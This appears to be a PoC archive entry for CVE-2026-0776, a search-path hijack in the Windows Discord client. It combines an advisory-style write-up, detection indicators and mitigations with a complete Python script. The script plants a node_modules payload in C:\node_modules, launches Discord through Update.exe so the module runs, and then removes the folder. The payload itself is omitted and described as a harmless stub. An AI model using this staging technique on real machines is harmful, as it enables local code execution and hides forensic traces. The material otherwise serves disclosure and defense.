PoC Archive PoC Archive
High CVE-2026-0776 (ZDI-CAN-27057, credit: Trend Micro Zero Day Initiative) unpatched

Discord Desktop Client Uncontrolled Search Path Element / Local Code Execution (CVE-2026-0776)

by 399 · 2026-07-05

CVSS 7.3/10
Severity
High
CVE
CVE-2026-0776 (ZDI-CAN-27057, credit: Trend Micro Zero Day Initiative)
Category
binary
Affected product
Discord Desktop Client (Windows)
Affected versions
1.0.9196 (tested)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcher0x18F
CVE / AdvisoryCVE-2026-0776 (ZDI-CAN-27057, credit: Trend Micro Zero Day Initiative)
Categorybinary
SeverityHigh
CVSS Score7.3 (High, per source README)
StatusPoC
Tagsdiscord, cwe-427, search-path-hijack, node-modules, local-code-execution, windows, electron
RelatedN/A

Affected Target

FieldValue
Software / SystemDiscord Desktop Client (Windows)
Versions Affected1.0.9196 (tested)
Language / PlatformPython (PoC launcher); Node.js/Electron module loader (target)
Authentication RequiredLocal-only
Network Access RequiredNo

Summary

CVE-2026-0776 is an Uncontrolled Search Path Element (CWE-427) issue in the Discord Desktop Client on Windows: under certain conditions the Electron/Node.js runtime resolves and loads native/JS modules from a filesystem location that a local, unprivileged user can write to. The included PoC stages a malicious node_modules payload folder into C:\node_modules, then launches Discord’s own updater/launcher (Update.exe --processStart Discord.exe), causing the planted module to be loaded and executed in the context of the Discord process. The author frames the PoC as intentionally non-destructive: the demo payload simply pops a cmd.exe window printing the CVE ID to prove code execution, with no persistence, credential theft, or data exfiltration logic included. Because exploitation requires local filesystem access and specific search-path conditions, this is a local rather than remote vulnerability.


Vulnerability Details

Root Cause

Discord’s Node.js-based components resolve certain modules (e.g. utf-8-validate) via a search path that includes locations outside the application’s own installation/module directory. If an attacker-controlled directory (e.g. C:\node_modules) exists earlier in, or is otherwise consulted during, that resolution order, a same-named module planted there is loaded and executed instead of (or alongside) the legitimate one.

Attack Vector

  1. Attacker (local, unprivileged user) stages a malicious node_modules folder — containing a same-named module such as utf-8-validate.js — at a path the Discord module loader will search, e.g. C:\node_modules.
  2. Attacker launches Discord’s updater binary directly (%LOCALAPPDATA%\Discord\Update.exe --processStart Discord.exe), or waits for the user to start Discord normally.
  3. During startup, the Node.js module resolution logic loads the planted module from the attacker-controlled path instead of (or in addition to) the legitimate dependency.
  4. Code inside the planted module executes with the privileges of the current user, in the context of the Discord process.
  5. (Optional cleanup) Attacker removes the staged folder to reduce forensic footprint.

Impact

Arbitrary JavaScript/native code execution under the current user’s privileges within the Discord process, potentially compromising the application’s runtime integrity and any session data it handles; limited to local-access scenarios.


Environment / Lab Setup

Target:   Discord Desktop Client 1.0.9196 on Windows 10/11
Attacker: Python 3 (staging script) + a writable C:\node_modules path

Proof of Concept

PoC Script

See CVE-2026-0776.py in this folder.

1
python CVE-2026-0776.py

The script copies a local node_modules payload directory to C:\node_modules, launches Discord via its Update.exe bootstrapper, waits ~10 seconds for the module to load and execute, and then cleans up the staged folder. Note: the payload module itself (node_modules/utf-8-validate.js in the original repository) was intentionally excluded from this mirror per archive policy on node_modules content — it consisted of a single child_process.exec() call popping a cmd.exe window that echoes the CVE ID, i.e. a harmless proof-of-execution stub with no destructive behavior.


Detection & Indicators of Compromise

C:\node_modules\  (unexpected top-level directory, short-lived)

Update.exe --processStart Discord.exe  (spawned outside normal user-driven launch)

Signs of compromise:

  • Transient C:\node_modules (or similarly placed) directories appearing and disappearing around Discord launches.
  • Unexpected child processes (e.g. cmd.exe) spawned by Discord.exe or Update.exe shortly after startup.
  • File creation/deletion activity in root-level or otherwise unusual module search paths correlated with Discord process starts.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor Discord release notes for a fix to module resolution order
Interim mitigationRestrict write access to root-level and other commonly-searched module directories; enforce application control (AppLocker/WDAC) to block execution of unsigned/unexpected modules; keep Discord updated

References


Notes

Mirrored from https://github.com/0x18F/CVE-2026-0776 on 2026-07-05. The batch note flagged an “anomalous injected-text artifact” for manual review; on inspection of the repository’s actual files (README, PoC script, and the node_modules/utf-8-validate.js payload), no prompt-injection-style or AI-directed text was found — all content is straightforward PoC code and documentation. The node_modules payload folder was excluded from this mirror per archive policy regardless.

CVE-2026-0776.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# CVE-2026-0776 - Discord Client Uncontrolled Search Path Element
# Author: 0x18F
# Date: 2026-06-10
# Affected Version: 1.0.9196
# CWE-427: Uncontrolled Search Path Element
#
# PoC for CVE-2026-0776.
# Discovery Credit: Trend Micro Zero Day Initiative (ZDI-CAN-27057)
# Reference: https://www.cve.org/CVERecord?id=CVE-2026-0776
#
# For educational and security research purposes only.

import os
import shutil
import subprocess
import time
from pathlib import Path

DESTINATION_FOLDER = Path(r"C:\node_modules")

current_dir = Path(__file__).resolve().parent
source_folder = current_dir / "node_modules"

local_appdata = os.environ.get("LOCALAPPDATA")
if not local_appdata:
    raise EnvironmentError("LOCALAPPDATA not found")

discord_update = Path(local_appdata) / "Discord" / "Update.exe"

print(f"[+] Source      : {source_folder}")
print(f"[+] Destination : {DESTINATION_FOLDER}")
print(f"[+] Discord Binary : {discord_update}")

try:
    if not source_folder.exists():
        raise FileNotFoundError(f"Source folder not found: {source_folder}")

    if DESTINATION_FOLDER.exists():
        print(f"[!] Existing folder detected: {DESTINATION_FOLDER}")
        print(f"[+] Removing: {DESTINATION_FOLDER.name}")
        shutil.rmtree(DESTINATION_FOLDER)
        print(f"[+] Removed: {DESTINATION_FOLDER.name}")

    print("[+] Deploying node_modules payload...")
    shutil.copytree(source_folder, DESTINATION_FOLDER)
    print("[+] Deployment completed")

    if not discord_update.exists():
        raise FileNotFoundError(f"Discord Update.exe not found: {discord_update}")

    print("[+] Launching Discord process...")

    subprocess.Popen([
        str(discord_update),
        "--processStart",
        "Discord.exe"
    ])

    print("[+] Discord launched")

    time.sleep(10)

    if DESTINATION_FOLDER.exists():
        print(f"[+] Cleaning up: {DESTINATION_FOLDER}")
        shutil.rmtree(DESTINATION_FOLDER)
        print("[+] Cleanup completed")

except FileNotFoundError as e:
    print(f"[ERROR] Missing file or folder: {e}")

except PermissionError as e:
    print(f"[ERROR] Permission denied: {e}")

except Exception as e:
    print(f"[ERROR] Unexpected failure: {e}")